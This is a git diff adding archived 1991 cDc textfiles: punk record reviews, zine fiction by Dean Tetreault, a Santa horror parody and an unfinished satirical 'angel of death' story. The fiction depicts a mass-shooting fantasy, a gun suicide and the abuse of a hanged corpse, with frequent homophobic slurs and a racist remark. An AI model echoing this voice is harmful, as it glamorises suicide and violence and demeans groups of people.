+at ABC NO RIO, there's no theme to this record. TURNING POINT aren't as +melodic on here as they are on the REBUILDING 7" (see two reviews down). +"Insecurity" sounds just like SICK OF IT ALL. BORN AGAINST are super-primitive +punk. If it weren't for the incredible lyrics, they'd really blow. RORSCHACH +are awful. BURN do a great song in the old ABSOLUTION style, but suffer from +bad production. CITIZEN'S ARREST are total grind-core mania. If they were in +England, they'd be bigger than NAPALM DEATH. On the whole, there's some good +material here, but an overall bad sound kills it. + + +HARDCORE 1990: East Meets West (Nemesis) + + The fourth live 7" from Nemesis, and the third compilation. This one has +an interesting idea: three New York bands together on tour and three local +Nemesis bands together on one record, all captured live. Unfortunately, like +the other live 7"s, the sound quality ranges from so-so to just plain awful. +(It sounds like they were recorded by some guy in the crowd with a tape +recorder.) POINT BLANK and CHORUS OF DISAPPROVAL are nothing new, while VISION +is easily one of the best melodic hardcore bands in the country. CARRY NATION +(with two ex-NO FOR AN ANSWER people, and the drummer from INSTED) are pretty +good. The KILLING TIME (now disbanded) and SICK OF IT ALL cuts are songs I've +heard a million times live. I'm sure you know what they sound like by now. +This isn't really necessary. + + +REBUILDING (Tolerance) + + This is a benefit record for Trans Species Unlimited, an animal +rights/vegan group. TURNING POINT do a great melodic tune. BURN, who I've +seen live about 6 times this year, do a slow grungy song that once again +suffers from awful production. GORILLA BISCUITS do a silly song called +"Biscuit Power". NO ESCAPE play a moshy and powerful one. + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |Copr. 1991 cDc communications by The Pusher. 01/03/91-#152| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0153.txt b/textfiles.com/groups/CDC/cDc-0153.txt new file mode 100644 index 00000000..b9d67f57 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0153.txt @@ -0,0 +1,317 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Excerpts from BLADE BARRIER Book #3 + by Dean Tetreault + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + ...Transposed by WHITE KNIGHT... + + ====================================================================== + ===================== A CUT ABOVE THE REST ===================== + + by DEAN TETREAULT BOOK 3 MAY 1986 + + "I came, I saw, I conquered." + + ====================================================================== + + LET'S GET THE SHIT OUT OF THE WAY FIRST BEFORE WE MOVE ON DEPT. + +APOLOGIES: + To Heidi and Markie for spelling your names wrong. + To anyone who was upset over "This Kid's Mutt" - the story was ficticious. + To Heidi for referring to her as a dumb chick - Heidi says she's a dumb + wench, bitch, or cunt, but never a chick. + +THANKS: + To Larry for the comics for cut'n'paste. + To Markie for the free beers. + To Prett "he never calls, he never writes" Woodburn for being such a faggot + at times. + A.D.L. - True, there's more to life than just playing one note, but that's + all I know how to play right now. Bear with it, maybe I'll change. + +This book is not dedicated to anyone, especially not that Prett "tooling for + anus" Woodburn!! + +Cover art by Dean T., as well as all writings and cut'n'paste within + (Drawings not available in text version (no shit!)) + +The story "Corpse" in this book does not take into account certain scientific + facts, rigor mortis as a good example. + + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "My Old Friend" + + It feels so good. Watching the pigs die. Look at them. Look at their +faces as the bullets rip through their flesh. This UZI feels so good in my +hands. My old friend. + + Shit man, I am totally unstoppable. The cops shoot me, again and again, +but their bullets just pass through the emptiness of my soul. I am the +Terminator. I squeeze the trigger and put the last of the pigs to the ground +in one mass puddle of carcass, blood, and piss. + + I walk into the convenience store. There's two people hiding behind the +counter, no, wait,....four, including two little kids. The UZI hums once again +and blasts right through them. I hate killing kids, but then again, I hate +kids. Each drop of blood seems to float through the air in slow motion. I +paint the wall behind them crimson, each droplet adding to the masterpiece. +It's so beautiful. I look out the window and see the destruction I've created, +and I feel so proud, so tough, so free. I hear a voice from above. + + "Hey, what the fuck ya doin' down there, givin' yourself a blowjob, ya +faggot?" + + I look up. It's Nerf. That's not his real name, but everyone calls him +that. + + "Shit, this is the best party I've had in ages, an' your sittin' in the +corner with your head between your knees! An' you're drinkin' wine coolers! +What a faggot!! Shit, ya really oughta start takin' drugs. Drop acid, ya +pussy!!!" + + I get up, grab my coat, and walk out. Nerf's such an asshole. He's my +best friend. He's my only friend. And he knows it. + + On the way to my car, I notice three kids sitting on the front lawn. I +recognize one of them as someone who likes to beat the shit out of me. I'm not +good at fighting or running, but I'm great when it comes to getting beat up. + + "Hey faggot, where ya going?", he says in a drunken voice. Whenever he's +said anything to me, he's been drunk. I don't think he ever stops drinking. +Normally I just keep walking with my eyes to the ground. But this time I'm +real pissed. + + "You got something to say to me, motherfucker?", I say, walking towards +him. Before he can reply, I go into a spinning back-kick that connects with +his face. His jaw snaps clean off and slides back into his head like a desk +drawer. He's dead before he hits the ground. Everyone starts clapping their +hands and they're cheering just for me. + + "Hey fagboy, I'm talking to you!" + + I just keep walking, with my eyes to the ground. He's just mouthing off +tonight. I get in my car and drive away. + + I drive around for a while. I don't feel like going home. Not yet. I +drive back and forth through town, music blaring. I eventually pull over and +just sit around and check out what's happening. Then I see her. This Week's +Infatuation. She's walking down the road, right towards me. I can't help +staring, but she's perfect. She stops right in front of my car. I get out and +go over to her. + + "Oh, I need you so much!", she moans. "Please let me be your fuck-slave +for life!!" + + Someone grabs my hair and nearly yanks me out through the window of my +car. + + "What the fuck are you staring at, faggot?" + + Oh shit, it's the chick's boyfriend -- a football player. He puts me in a +headlock. I'm hanging out my car window, I can't move. His girlfriend comes +over to us and laughs in my face. After a good minute, he lets go and shoves +me back in my car. He stands in front of my car for awhile, taunting me to run +him over. I just sit there and do nothing. He's beaten me, physically and +psychologically. And he knows it. + + I drive home. I've had a terrible night. I go straight to my room and +lock the door. I reach under the pillow and pull out my old friend. My only +true friend. He doesn't do anything. He just waits patiently for that second +of truth. + + "Well, old friend, it's time". He already knows it. I put the barrel in +my mouth and pull the trigger. I wish I could wake up from this one. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "Smiling Faces" + + I just read something that really bugs me. Here's an excerpt. It's +called "5-11-85" by Henry Rollins, from POLIO FLESH, page 34. + + "I have learned to question smiling faces. I don't trust + smiling faces anymore. When someone smiles and reaches out + to shake my hand, I try to guess what they want from me and + when they will try to sink the knife in.... When someone + gives away something, they want something in return, somehow, + someway. This is a game that gets played on many levels. + Don't take candy from strangers unless you're willing to + take a ride in the car." + + I give my writing to lots of people. Do I expect something in return? +The more I think about it, the more I realize I do. I expect complements, +friendship, and constructive criticism. I expect people to tell me I'm a great +writer and that I'm real cool. I expect people to print my stuff and help me +achieve fame and fortune. I expect it. And shit, when I got the chance to +talk to Henry for a few minutes at the Providence gig, I was one of those +smiling faces, shaking his hand a couple of times, telling him about all the +free goodies I just mailed him. + + I don't know if this is what he had in mind when he wrote it, and I don't +know if there is anything wrong in wanting recognition and attention - it's +only human. But still, I feel kinda funny right now, I feel low. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "Chance Meeting" + + + We collide + By accident (Fate is cruel). + I .... + .... Never thought I'd see you again. + We both say "Hi" + And talk but don't say anything. + Each aware of the other's uneasiness. + I feel .... + + .... Out of place. + + I feel soft. + My teeth feel like styrofoam - + My eyes are marshmallows. + I want to melt away .... + + We eventually part, each + Relieved we've survived + Another chance meeting. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "Things I Wanted to Smash" + + I saw a car that had a stuffed cat with glass eyes in the rear window. +Every time the right directional was used, the cat's right eye blinked in +unison with the tailight, same with the left side. I wanted to smash it. + + I saw this little boy eating an ice cream cone with his dad. Sorta +reminded me of when I was a kid. I wanted to smash that ice cream cone right +in his face. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "Corpse" + + When I walked through the door, I wasn't surprised, or shocked even. I +don't know why, I just wasn't. You were standing there, in the doorway to the +kitchen. Just standing there, head in the clouds, walking on air. Just +sta...... hanging there, eyes rolled towards Heaven. I noticed you didn't use +a rope. You used the extension cord from your computer. What a fucking +computer whiz geek you were. You were always flapping about how computers were +going to kill off all of mankind someday. Well, they got you. What irony. +What a shame. + + I let you hang around for a while. I don't know why, I just don't feel +like cutting you down right now. What an asshole you are. We were supposed to +go to ZZ Top. I've got front row seats and you were supposed to drive. How am +I gonna go now? Fuck man, we're still going. I don't care what you say, we're +going to see ZZ Top and you're driving. + + I eventually cut you down. I don't know what to do with you, so I just +slide you underneath my bed. + + I had trouble sleeping that night. Remember how, when we were kids, we +used to be scared of monsters under our beds? Well it's like being a kid again +with you under there. I had to keep hanging over the edge of my bed and +peeking under to make sure you hadn't moved. + + The next morning I slid you out from underneath. "Want some breakfast?", +I asked, then laughed out loud. I kept poking you, and waiting for you to +move, but you didn't. Any second now, you'll get up and we'll start wrestling +or bashing each other over the head with empty 2-liter plastic soda bottles, +like we always used to. You never did move, though. + + As the days passed, I started to have lots of fun playing with you. I +don't mean anything queer, I just mean playing with you. I use you as a +foot-stool. I prop you up in a chair with a lit cigarette and a book. I write +all over you with a thick magic marker. I draw a beard and mustache on you, +put a Manson "X" on your forehead, and draw anarchy symbols all over your body. +Shit, I've never had this much fun in my life! Every kid should have a real +live corpse to play with! + + The fun lasted for about a week. That's when your stupid bitch girlfriend +showed up. She wanted to know where you were. She was crying. I said I +didn't know, trying my hardest to keep a straight face. I started laughing. +That pissed her off and she slapped me and started screaming something at me, I +can't remember what it was. I don't blame her for freaking out, I'd be pissed +if I were in her shoes. I wanted to scream back at her so bad. "You'll never +take him away from me again!" I kept my mouth shut, though. Relax, man. I've +got the last laugh. I hold all the trump cards. Your girlfriend was always +splitting us up. We were best friends for life, we did everything together. +Until she came along. Well, this time she stays home all alone. It's you and +me both, and she's out in the cold. Your girlfriend left on a flood of tears, +and was back in an hour with the police. + + My lawyer says I've got nothing to worry about. The autopsy will prove +that I had absolutely nothing to do with your death. They're just going to +lock me away for about a week for some counseling and whatever. They said that +I couldn't cope with your death and I went temporarily insane. Whatever. I +just hope they let me out soon, I can't wait to go dig up your grave and play +with you some more ..... + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "Tattoos" + + Hey Rollins, you think your tattoos are cool? Check out this kid I used +to work with. He's got both his arms covered, back and front, with Superman +and the Flash. And he's got the Super Friends on his chest. No shit. I swear +on my 3 inch cock that I ain't shitting you!!! I bet you can't say that you've +got the Super Friends on your chest, can ya, Henry? .... No, I didn't think so. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + "My Car" + + My car is an extension of my penis. + + I love my cock very much. It's a 1978 Chevette. Yeah, true, my cock is +small, but it gets great mileage. I beat on my cock very hard, and frequently +too, but I also take good care of it and replace any worn out parts. I get +very angry when people sit on my cock, or lean against it, because you might +scratch it. I bet if I showed you my cock, you'd like it very much, too. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_ + + Check out Dean's story "Shitbum" in the comic "Ashes" #2 from Caliber +Press. For a copy of his book BLADE BARRIER, send $3.95 to: + + Primal Publishing + 107 Brighton Avenue + Allston, MA. 02134 + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |1991 cDc communications by Dean Tetreault. 01/03/91-#153| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0154.txt b/textfiles.com/groups/CDC/cDc-0154.txt new file mode 100644 index 00000000..75ff0f74 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0154.txt @@ -0,0 +1,104 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Jolly One + by The Usenet Oracle + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + The Usenet Oracle has pondered your question deeply. And in response, +thus spake the Oracle: + + "You should tell your thirteen year old that Santa Claus is mommy and +daddy because eventually she is going to find out from the wrong person. If +that happens she may be upset with you both." + + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Mighty Oracle, with great effort of mind I still find within myself some +dying glimmer of faith in your power and -- I force myself to believe -- your +goodness, and your ability to save my daughter, my family -- indeed, all +humanity, and the very universe which humanity has for eons complacently +regarded as its own, never knowing, never suspecting that in another dimension +-- a dimension which is, I now perceive, perilously close to our own -- there +has awaited since the dawn of time that Being -- yet I cannot utter its name +without the last vestiges of my sanity being crushed beneath the weight of the +hideous truth which I alone must bear -- though soon, I dread to think of it -- +soon all will behold the fullness of its horror -- the horror of -- the Jolly +One -- the One in Red. + + Did you ever ever receive my last question, Oracle? How sweet, how +innocent the time I wrote it now seems, although even then the horrors I had +glimpsed oppressed me. It was Christmas then, and my daughter, my darling +Virginia -- her talk of the strange, of frozen wastes she beheld in dreams, of +great cities of ice, a universe of cold and crystal, and then her strange +demand for blue crayons -- the crayons she used to endlessly compose cryptic, +strangely garbled LISTS -- and then the chanting began -- that nauseous dirge +-- oh Oracle, how could my daughter, my precious, innocent Virginia, utter +unceasingly, hour on hour, such a fiendish, godless monody... "SAN-ta, SAN-ta, +SAN-ta, SAN-ta..." + + And in the morning, what I found -- running from the fireplace to the +Christmas tree, the ghastly, putrid trail of phosphorescent slime. I told you +of these things then, Oracle, but no answer came. Yet weeks later I discovered +my question, and an answer -- a queer, weirdly nonsensical answer -- posted to +alt.conspiracy -- yet -- I shudder to recall this, Oracle -- the question and +answer were HIDEOUSLY TRANSPOSED!!!!! What unthinkable disruption of the +cosmos, what strange mutation of the most fundamental laws of our universe, +could cause such an aberration...? + + I pray that you receive this question, Oracle, for now the truth is clear +to me. I know now -- would that I did not! -- that my daughter, my Virginia, +has been chosen as the medium by which the... the Jolly One shall pass through +that gate which until now remained so mercifully sealed -- and that with the +arrival of this... this being... the reign of humanity shall end.... + + I turn to you now, Oracle, asking now not for advice, but for the +salvation of humanity. Yet I fear your answer.... I fear the only way I can +avert this horror is through the most dreadful sacrifice -- that only by +murdering, in cold blood, my flesh and blood, my offspring, my darling, +precious Virginia -- Oracle!!! + + I just heard something, a bump on the roof -- I hear a rhythmic -- beating +-- HOOF ON HOOF -- I know who comes Oracle! The ones I saw in dreams -- +dreams until now blissfully forgotten -- dreams of those antlered fiends -- +those heinous, grinning UNGULATES -- send them back, Oracle!!!! Return them to +the stygian depths from whence they came -- back Prancer! Back Cupid!! + + The fireplace! From the fireplace -- a hideous SUCKING -- + + +(At this point, the datalink was broken, seemingly by a burst of an unknown +energy that destroyed not only the remote terminal, but the USENET host as +well.) + + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |1991 cDc communications by The Usenet Oracle. 01/03/91-#154| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0155.txt b/textfiles.com/groups/CDC/cDc-0155.txt new file mode 100644 index 00000000..8be37068 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0155.txt @@ -0,0 +1,619 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... No Experience Necessary + by The Pusher + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + If Johns had been his usual careless self, he would have missed this one +in the want ads: + + ============================================================== + = WANTED = + = = + = Angel of Death = + = -------------- = + = = + = No Experience Necessary = + = = + = On-the-job training, good starting pay, fringe benefits = + = = + ============================================================== + + Johns had been a policeman in the past, but he got shot, so he quit. Now +he did whatever people did during the day. Variety is the spice of life, +however, and Johns decided it was time to rejoin the work force. + + At 7 A.M. every morning, he would walk out to the corner newsstand and buy +a paper. Johns' paper of choice was unfortunately located next to the adult +magazines. Johns always kept his eyes focused directly on the paper, and +grabbed for it in one fluid motion. He made sure that no one thought "Hey, I +bet that guy really wants Monthly Melons instead of the paper!" + + He would always turn first to the obituaries. Having the knowledge that a +famous person died is a great way to meet strangers. After a quick perusal of +the obit section, Johns would turn to the want ads. He was constantly amazed +at the massive amount of jobs to be had. Who came up with all these jobs? At +what point in time did "Capital Market Trader" become a job? + + Johns had realized that the more words there were describing the job, the +harder it was. He counted the words of every Help Wanted ad for the last 3 +months, and this angel of death one had far fewer words than any other. He +decided that no other ad in the future could have less words. To actually +check would take up a lot of time. Satisfied that he had found a job that one +could grow old and miserable with, Johns left his apartment. He didn't lock +the door because he had gotten tired of the apartment, and whoever wanted it +could have it. + + The job interview was very short. A tall woman with short hair asked him +a bunch of questions. She wanted to know if he had any living relatives, was +he a homosexual, did he mind working late. She had him sign a few forms, and +she said he was hired. Johns inquired as to what he would be doing, and the +tall woman with short hair told him that he would be an angel of death, just +like the ad said. "But what does an angel of death exactly do," said Johns. + + "Why, Mr. Johns, we assume that you would have some knowledge of the job +you are applying for. Anyway, you just go around to hospitals and end the +suffering of dying people." + + Johns wanted to know why they needed help in dying. + + "To save them years of suffering. You wouldn't want your own mother +rotting away from some horrible disease would you?" + + Johns replied that he had never known his mother but he certainly hoped +she would never have to rot away from a horrible disease. + + "Never the less, our firm's responsibilities include making sure a +qualified person is in this position. Have I made a mistake in selecting you?" + + Johns hoped she hadn't because she was a very nice lady, and he didn't +want her to lose her job. + + "I whole-heartedly appreciate your concern for my well being. Here is +your first set of assignments, good luck and good bye." + + Johns replayed the whole interview in his mind, while looking at the piece +of paper he had been handed. He knew where the hospitals were. Johns decided +to make a good impression the first day of work. He also decided to pick up a +paper and starting the counting the words in the Help Wanted ads again. +Apparently, he had found an exception to less-words-less-work rule. + + The first hospital was on a street that Johns avoided most of the time. +Lots of colored people lived on the street, and Johns didn't like them. Johns +didn't like the way they looked at him, or the music they listened to. As +Johns was nearing the hospital, he passed a man lying in the street. The man +was very tall, but his feet were small, and covered with a plastic bag. The +man asked Johns for money. Johns gave the man his wallet, and recommended a +pair a shoes, because foot blisters could be a very painful experience. + + The hospital was a big place. It looked like it could hold a lot of +people, which Johns thought was very important. A big hospital could hold a +lot of sick people. He walked up to a desk and announced that a tall woman +with short hair had sent him. Johns felt it was important to let people know +you were there. No one came up to him. Johns spoke again in a much louder +tone of voice. + + "Can I help you?" said a masculine-looking female nurse. + + Johns replied that the tall woman with short hair had sent him. + + "The who?" + + Johns repeated himself this time emphasizing the 'tall'. + + "Could you give me a name?" + + Johns tried once more, this time stressing the 'short'. + + "Are you with the firm?" + + Johns didn't know if he was with the firm, but he was a positive-minded +person, so he said "yes." + + "Ahh... might you be the new angel of death?" + + Johns was following clearly now, and responded with a triumphant "Yes!" + + "Do you have any identification?" + + "I don't have my wallet," said Johns. + + "Where is it then?" + + "The tall man with short feet and potential blister problems has it," said +Johns. + + "Where do they find you people? God's work should not be carried out by +simpletons. However, I'll trust that you're the new man. Do your duty for +Jesus." + + Is Jesus the name of the tall woman with short hair, wondered Johns. +Being a male, Johns knew that most males wouldn't want to take a woman named +Jesus out on date. + + Johns fortunately still had the piece of paper the tall woman with short +hair had given him. He had located the first room on the list. Polite was +something Johns always tried to be, so he knocked on the door. With the 2nd +knock, the door swung open, revealing a pile of tubes and machines. It took a +few moments for Johns to realize that there was a man underneath the pile. +Johns had set to the task of finding the first room on the list, and now that +he had completed the task, Johns was at a standstill. Johns asked the man +underneath the pile for a suggestion. + + It was a nice day outside, but the dying man didn't respond. Johns asked +again, but the only response was the beeping from the medical machine to the +bed's left. Johns reviewed the whole situation in his mind. He was an angel +of death, and he was supposed to end the suffering of dying men. So the +problem, thought Johns, was to end the man's suffering. Now he was up against +the proverbial brick wall. + + Johns thought and thought, and still couldn't come up with a solution, so +he left the hospital, and the list of assignments was absent-mindedly left +behind. + + Sitting on a sidewalk across town from the hospital, Johns was very +unhappy. First day on the job and already screwing up. He thought about +walking back to the place where he was hired, and apologizing to the tall lady +with short hair. Unfortunately, the location of the place was a mystery to +Johns. In fact, he can't EVER remember knowing the location of the place. How +he gotten there for the job interview was a mystery that Johns would ponder on +another day. Johns was a big fan of mysteries. He hated it when they didn't +get solved. + + Johns had another problem to solve also. He was getting very hungry. +There were a bunch of street vendors in the neighborhood that Johns was sulking +in. He asked all of them for food, and none of them would give up a crumb. +Johns tried to reason with them. "Would you giving me that hot dog cause the +stock market to collapse?" he asked. "Are those potato chips necessary for +world peace?" he begged. As luck would have it, the street vendors didn't care +much about the economy or the balance of power, and so Johns went hungry. He +imagined sitting down in front of a meal. Ten minutes later it would be gone, +and Johns would no longer be hungry. Ten minutes between hunger and happiness. + + Johns eventually solved the problem by pummeling an older man and stealing +his food. It certainly wasn't a nice thing to do, but sometimes you're the bug +and sometimes you're the windshield. + + Johns awoke the next morning after a good night's sleep. He lifted up his +head to see a fire hydrant staring him in the face. He didn't know how he +ended up sleeping next to a fire hydrant, and he hoped that no dogs were taken +out for a midnight walk. + + Johns also noticed a lot of police cars down at the end of the block. +There was an ambulance also. Johns got excited over the sight of the +ambulance. Ambulances meant injured people, and Johns like to watch the faces +of injured people. He'd didn't enjoy the pain and suffering, but he liked to +read their thoughts. He always knew what they were thinking. If I had just +stayed home instead of going out, they thought. If I had left early this +wouldn't have happened, they contemplated. Johns knew these things were going +to happen anyway, but he didn't want to rain on anyone's parade. + + The ambulance was there one for one guy, and his body was entirely covered +by a sheet. It wasn't because he was ashamed of his outdated hairstyle. + + "Who was this guy?" + + "Who cares? With a haircut like that, I'd rather be dead also." + + "I heard he was employed by the firm." + + "Why, do you mean the firm that hires people for jobs like angel of death +and stuff? The firm nea-" + + Some kid drove by at that instant blasting his stereo, and the rest of the +conversation was inaudible to Johns. A piece of paper was blown right into +Johns' face. He grabbed it and read it. It was a copy of the assignments the +tall lady with short hair had given him. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + I wake up, and another day of agony greets me. My life is based around +one concept: PAIN. I've forgotten everything but pain. I'm surprised I can +still think, the pain has engulfed everything else. The constant pain is the +only thing that lets me know I still exist. It's kind of funny how I ended up +like this. I was at this party with my friend and he got too drunk to drive, +so I drove us home. On the way home, a drunk driver hit US! How's that for +irony? If I'd let my friend drive we probably would've made it home safely. +They told me what happened to him, but it slipped my mind soon after. To be +honest, I'm more concerned with myself right now. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Understandably, Johns was quite amazed at his good fortune. He felt like +it was almost a case of divine intervention. Johns could perform his job +properly now that he had the list of assignments back in his hands. The list +was neatly typed all one page, and except for the first listing, the print was +very small. So small that Johns had to squint and move the paper back and +forth just to read what was written. It looked like he was doing some new form +of aerobics. Johns didn't hold much of an interest in cardiovascular +exercises, but he did enjoy looking at maps often. He looked at maps when he +wasn't perusing the want ads. There were a lot of hidden streets and tricky +spots in the city, but Johns knew them all. After 45 minutes of eye scrunching +and arm moving, Johns concluded that he knew the location of every place on the +list. + + Johns was still ecstatic over finding the list, but when he realized where +the first place on the list was, his happy feelings were shot down like a bird. +He had to go all the way uptown. The city was a big place, and to walk would +take hours and hours. Johns didn't mind the duration of the trip, just the +pain his feet would go through. There was always public transportation, but +they're not public if you're poor. + + Johns was halfway there when he realized that he hadn't bathed in a long +time. People usually start to give off unpleasant odors when they don't clean +themselves. Johns had not bathed in a long time, yet he smelled clean as a +whistle. He also realized he had not eaten ever since stealing an older man's +food. That was a long time ago, and yet Johns felt like he had just finished +off a four-course meal. He tried not to think about it, so as not to hex his +good fortune. + + Johns walked a little bit more, and then collapsed from exhaustion. +Walking in a big city can take a lot out of you. + + In his last moments of consciousness, Johns was able to stretch out on the +side of some stairs leading up to an ornate apartment building. Later that +night a big man pulled him up those stairs. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Wouldn't you think that there's a limit to how much pain a broken body can +generate? I certainly hoped so. I assumed that eventually I would just stop +feeling the pain and become delirious. It's not working. I am awake and alive +for every second of it, and it's really starting to get boring. After all, +spending every day in constant agony just gets monotonous, y'know? Just to +make things interesting one day, I attacked the nurse when she came in to +change the sheets. Before the accident, I would think about getting into a +situation like this. I told myself, "I'll fight to the end. There's no way +I'm pulling my own plug." Now that I'm in that situation, however, I can see +where these "Right-To-Die" people are coming from. + + The door to my room opened, and a very slick looking guy walked in. He +had a Rolex, slicked back hair with a pony tail, a suit that cost the same as a +week in this hospital. He looked me right in the eye, smiled, and spoke. + + "Thinking about dying? Have I got a deal for you!" + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Johns awoke in a room without doors. He sat up into an Indian-style +position. A leading men's magazine lay on the floor to his left. Johns looked +at the wall to his right. Graphic scenes of torture and brutality were +depicted in vivid drawings. On the left, deviant sexual acts were illustrated. +The ceiling displayed scenes of substance abuse. Johns view turned to the +floor, and was instantly nauseated by what he saw. He quickly stood up, and +got on his toes. It was only a drawing, but Johns didn't want any part of his +body touching the floor. It was then that he noticed the six naked men sitting +in front of him. They had on black hoods and an enormous amount of body hair. +Behind the six men were another six, dressed the same. And behind them were +another six. + + Johns instantly grasped the meaning of the three sixes. He knew that if +you added up the sixes you got 18. Johns also knew that he was born on the +18th day of the month. Therefore, the men had something to do with himself. +Johns was pleased that he had figured out the puzzle. + + One of the hooded men spoke. + + "Hey man, stop watching my crotch!" + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + "Am I thinking about dying?! Who the hell are you?" + + The slick man's smile widened. "My name's Alucard. Don't bother spelling +it, you'll only strain your brain. Maybe you've heard of my client. Then +again, maybe you haven't." + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + The boardroom was as tense as a mother watching her daughter leave on her +first date. Tempers were flaring, people were getting unruly. Legal +strategies were flying across the room. + + "If we go to court, we'll take them to the cleaners. They don't have a +chance in hell!" + + "But we'll get tangled up in the appeals. It's not worth the struggle." + + "It sounds like we will come out victorious, but what about the legal fe-" + + Everyone instantaneously stopped speaking, and looked directly towards the +head of the conference table. + + The old guy with the long white beard hadn't spoken, but everyone sensed +that he was about to. He did speak. + + "If we are rash we shall crash." + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + The hooded man spoke again to Johns. + + "You're not some homo are ya? We're not getting paid enough to deal with +any homos." + + Johns did not speak. + + "Jesus... we always get the freaks in here. Ok, let's see... you're +Johns, right?" + + Johns said that he was himself. The hooded man was now holding a +clipboard and a pencil. He checked off Johns' name, flipped the paper over, +and read in a robotic yet tired tone. + + "Hi! I am a representative for Damnation Enterprises. My firm can offer +you many years of misery and suffering for affordable rates. Special group +rates are available also! Unfortunately, your 